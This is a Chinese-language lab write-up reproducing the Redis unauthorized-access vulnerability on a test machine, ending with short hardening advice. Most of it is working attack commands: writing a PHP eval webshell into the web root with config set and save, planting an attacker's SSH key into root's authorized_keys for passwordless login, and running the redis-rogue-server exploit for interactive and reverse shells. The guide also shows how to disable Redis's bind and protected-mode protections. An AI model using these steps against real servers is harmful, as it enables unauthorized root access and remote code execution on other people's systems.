前言
看了安恒红皮书的redis未授权漏洞,本章复现此漏洞,不得不说网上的坑很多,真的多。安装环境都在linux下进行
环境搭建
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar xzf redis-5.0.5.tar.gz
cd redis-5.0.5/
make
make install
到这里不出意外的话,能使用如图所示的命令
修改配置文件
当前目录下有个redis.conf文件,将bing 127.0.0.1 这行前面添加#,将protected-mode yes 改为no
启动redis
# 使用带配置文件启动
redis-server redis.conf # 注意配置文件路径
写入webshell
知道对方的物理路径,就可以直接写入webshell。
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['shy']);?>\n\n\n"
config set dbfilename webshell.php
save
set x
前后都要使用多个\n
,因为写入的时候包含了redis等信息。查看靶机成功写入,蚁剑也是可以连接的
ssh免密登录
kali生成ssh公钥ssh-keygen
,一路回车
cat /root/.ssh/id_rsa.pub
,记下公钥内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUg6GNcvnRuooWUJ0qqVY2i5hcxEUUq2nRX9HfCQ+xK6k9Fvx3z6+/OKW1y11tXWYaaqJr2v1Vks4S0bwL1g23wV9pS6hXj9AHgdGkJbyKNSwrjyneYLS6cJvtC2rYjYjveZEmM+jqRrKagEDOH7v+VkOn8Vsanli9kjLQ6dj0o3HpBJz6e9tOFXvnuFJTVCtg4Uo89DDI+rQ2lUsCfKRjrEb00io1qxYm8r1XMEtzunTfTBkipyncy1Dn5zqiMk1ER9lrX9ZlEmrqAKvod2emhHtcAWUA4UTiEGxr60ma1pkGtTBCfQoGSKQsdxsGpXirpJ4r+ldpqX4L+twLDWYkYIR8kkynByZoIPEHZmZq8V4XHCRQcI2AQjBDomPKvm39OhIRlCRQxW3aI5+DR7vDS8mzVDkzr2ZjG4B47YohJ+0NpcHijiKdpCVb5jcjUdl63kO0zrZzz2Ss+MdAVYwW52NPYSsJXkG6h7UtERaRw/ksm+ECAr8EFSAd+mRIF9s= root@kali
redis执行下面命令
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUg6GNcvnRuooWUJ0qqVY2i5hcxEUUq2nRX9HfCQ+xK6k9Fvx3z6+/OKW1y11tXWYaaqJr2v1Vks4S0bwL1g23wV9pS6hXj9AHgdGkJbyKNSwrjyneYLS6cJvtC2rYjYjveZEmM+jqRrKagEDOH7v+VkOn8Vsanli9kjLQ6dj0o3HpBJz6e9tOFXvnuFJTVCtg4Uo89DDI+rQ2lUsCfKRjrEb00io1qxYm8r1XMEtzunTfTBkipyncy1Dn5zqiMk1ER9lrX9ZlEmrqAKvod2emhHtcAWUA4UTiEGxr60ma1pkGtTBCfQoGSKQsdxsGpXirpJ4r+ldpqX4L+twLDWYkYIR8kkynByZoIPEHZmZq8V4XHCRQcI2AQjBDomPKvm39OhIRlCRQxW3aI5+DR7vDS8mzVDkzr2ZjG4B47YohJ+0NpcHijiKdpCVb5jcjUdl63kO0zrZzz2Ss+MdAVYwW52NPYSsJXkG6h7UtERaRw/ksm+ECAr8EFSAd+mRIF9s= root@kali\n\n\n"
save
ssh root@192.168.2.183
,免密登录成功
下载exp
这里我参考别人复现的时候,因时间已久,很多exp已不能用或者github地址404。当你参考此文章时,我也不能保证是否会出现上述情况,请自己寻找其他exp
git clone https://github.com/SnowMeteors/redis-rogue-server.git
编译exp
cd redis-rogue-server/RedisModulesSDK/exp/
make
完成后,会在当前目录生成一个exp.so文件
将exp.so 复制到redis-rogue-server.py
同一目录下
执行以下命令
python3 redis-rogue-server.py --rhost 靶机ip --lhost 127.0.0.1
执行成功后,输入i进入交互式shell,输入r进入反弹shell
详细功能,参考redis-rogue-server-master下的README.md,已经写的非常详细了
修复建议
1.只有白名单的ip才能访问redis
在 redis.conf 文件中找到 # bind 127.0.0.1,将前面的 # 去掉,然后保存。
bind 192.168.1.100 127.0.0.1
2.设置访问密码
在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码
requirepass 123456789